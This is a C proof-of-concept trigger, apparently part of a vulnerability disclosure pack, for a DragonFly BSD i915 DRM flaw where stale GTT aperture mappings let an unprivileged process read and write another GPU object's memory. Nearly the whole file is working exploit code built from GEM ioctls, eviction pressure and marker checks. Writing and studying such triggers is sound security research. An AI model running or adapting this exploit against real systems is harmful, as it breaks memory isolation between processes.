DF-4444 / df4444_trigger.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 | /* * DF-4444 trigger: stale GGTT-aperture user mappings survive VMA unbind * on DragonFly (no-op drm_vma_node_unmap) * * Target : DragonFlyBSD sys/dev/drm/i915/i915_vma.c:857-890 * Needs : an Intel GPU driven by i915.ko (this QEMU guest has only * virtio-gpu 0x1234:1111, so the trigger stops at device-open; * the run.log in this pack shows exactly that). * Privs : none beyond opening the render node. * * Idea: * 1. GTT-map object A (I915_MMAP_GTT), touch it -> i915_gem_fault pins A * into the mappable GGTT, enters fictitious aperture pages into our * pmap and sets vma USERFAULT (i915_gem.c:2440). * 2. Fill the mappable GGTT with GTT-mapped objects -> the MM evicts the * now-inactive A: i915_vma_unbind -> i915_vma_revoke_mmap * (i915_vma.c:1146) -> DF drm_vma_node_unmap (i915_vma.c:906) which * removes nothing (see VERDICT.md) -> our PTEs stay valid, pointing at * the aperture window that A used to occupy. * 3. GTT-map + fill victim object V with a marker pattern. The drm_mm * allocator reuses A's freed node range for V (same size class). * 4. Read through A's stale mapping: seeing V's marker (instead of A's * own fill pattern) proves cross-object read. Write through it and * observe V's own mapping change -> proves cross-object write. * * Build: cc -O2 -o df4444 df4444_trigger.c (self-contained, DF userland) */ #include <sys/types.h> #include <sys/ioccom.h> #include <sys/mman.h> #include <sys/stat.h> #include <err.h> #include <fcntl.h> #include <inttypes.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> /* ---- minimal DRM uapi, inlined from sys/dev/drm/include/uapi/drm ---- */ struct d4444_gem_create { uint64_t size; uint32_t handle; uint32_t pad; }; struct d4444_gem_mmap_gtt { uint32_t handle; uint32_t pad; uint64_t offset; }; struct d4444_gem_close { uint32_t handle; uint32_t pad; }; #define DRM_IOCTL_BASE 'd' #define DRM_COMMAND_BASE 0x40 /* DRM_IOCTL_GEM_CREATE DRM_IOWR(0x3e, ...) */ #define D4444_IOCTL_GEM_CREATE \ _IOWR(DRM_IOCTL_BASE, 0x3e, struct d4444_gem_create) /* DRM_I915_GEM_MMAP_GTT = 0x09 -> DRM_IOWR(DRM_COMMAND_BASE+0x09, ...) */ #define D4444_IOCTL_MMAP_GTT \ _IOWR(DRM_IOCTL_BASE, DRM_COMMAND_BASE + 0x09, struct d4444_gem_mmap_gtt) /* DRM_IOCTL_GEM_CLOSE DRM_IOWR(0x09, ...) */ #define D4444_IOCTL_GEM_CLOSE \ _IOWR(DRM_IOCTL_BASE, 0x09, struct d4444_gem_close) #define OBJ_SIZE (1UL << 20) /* 1 MiB objects */ #define PRESSURE_OBJS 384 /* ~384 MiB > typical 256MiB mappable */ #define A_FILL 0xAA #define V_MARKER1 0xdeadbeefU #define V_MARKER2 0xcafebabeU static int gem_create(int fd, uint64_t size, uint32_t *handle) { struct d4444_gem_create gc; memset(&gc, 0, sizeof(gc)); gc.size = size; if (ioctl(fd, D4444_IOCTL_GEM_CREATE, &gc) < 0) return (-1); *handle = gc.handle; return (0); } static void * gtt_map(int fd, uint32_t handle, uint64_t size) { struct d4444_gem_mmap_gtt mm; void *p; memset(&mm, 0, sizeof(mm)); mm.handle = handle; if (ioctl(fd, D4444_IOCTL_MMAP_GTT, &mm) < 0) return (MAP_FAILED); p = mmap(NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, mm.offset); return (p); } int main(void) { const char *paths[] = { "/dev/dri/renderD128", "/dev/dri/card0", "/dev/dri/render0" }; int fd = -1, i, j; uint32_t ha = 0, hv = 0; volatile uint32_t *a_ptr; uint32_t *v_ptr; for (i = 0; i < (int)(sizeof(paths) / sizeof(paths[0])); i++) { fd = open(paths[i], O_RDWR); if (fd >= 0) break; } if (fd < 0) errx(2, "no DRI device (this guest has no Intel GPU): %s", "expected on QEMU/virtio-gpu"); /* 1. object A, GTT-mapped, faulted, filled with A_FILL */ if (gem_create(fd, OBJ_SIZE, &ha) < 0) err(1, "GEM_CREATE(A)"); a_ptr = gtt_map(fd, ha, OBJ_SIZE); if (a_ptr == MAP_FAILED) err(1, "GTT mmap A"); memset((void *)a_ptr, A_FILL, OBJ_SIZE); /* faults every page */ /* 2. GGTT mappable pressure to force eviction of inactive A */ uint32_t hp[PRESSURE_OBJS]; int np = 0; for (i = 0; i < PRESSURE_OBJS; i++) { uint32_t h; if (gem_create(fd, OBJ_SIZE, &h) < 0) break; void *p = gtt_map(fd, h, OBJ_SIZE); if (p == MAP_FAILED) break; memset(p, 0x55 + (i & 0x3f), OBJ_SIZE); /* bind + fault */ hp[np++] = h; } printf("pressure objects bound+faulted: %d\n", np); if (np < PRESSURE_OBJS / 2) warnx("insufficient GGTT pressure; eviction of A unlikely"); /* 3. victim object V, GTT-mapped (should land in A's freed range), * filled with a marker through its OWN mapping */ if (gem_create(fd, OBJ_SIZE, &hv) < 0) err(1, "GEM_CREATE(V)"); v_ptr = gtt_map(fd, hv, OBJ_SIZE); if (v_ptr == MAP_FAILED) err(1, "GTT mmap V"); for (j = 0; j < (int)(OBJ_SIZE / 4); j++) v_ptr[j] = (j & 1) ? V_MARKER1 : V_MARKER2; /* 4. read A's (stale?) mapping */ uint32_t s0 = a_ptr[0], s1 = a_ptr[1]; printf("A[0]=%08" PRIx32 " A[1]=%08" PRIx32 " " "(A_fill=%02x, V markers=%08x/%08x)\n", s0, s1, A_FILL, V_MARKER1, V_MARKER2); if (s0 == V_MARKER1 || s0 == V_MARKER2 || s1 == V_MARKER1 || s1 == V_MARKER2) { printf("VULNERABLE: stale mapping of A shows V's marker - " "cross-object READ confirmed\n"); /* prove the write direction too */ a_ptr[0] = 0x1337c0de; if (v_ptr[0] == 0x1337c0de) printf("VULNERABLE: write through A hit V - " "cross-object WRITE confirmed\n"); return (0); } printf("not reproduced: A's mapping still sees A's own fill " "(or faults, which would ALSO be the correct fixed behavior)\n"); return (1); } |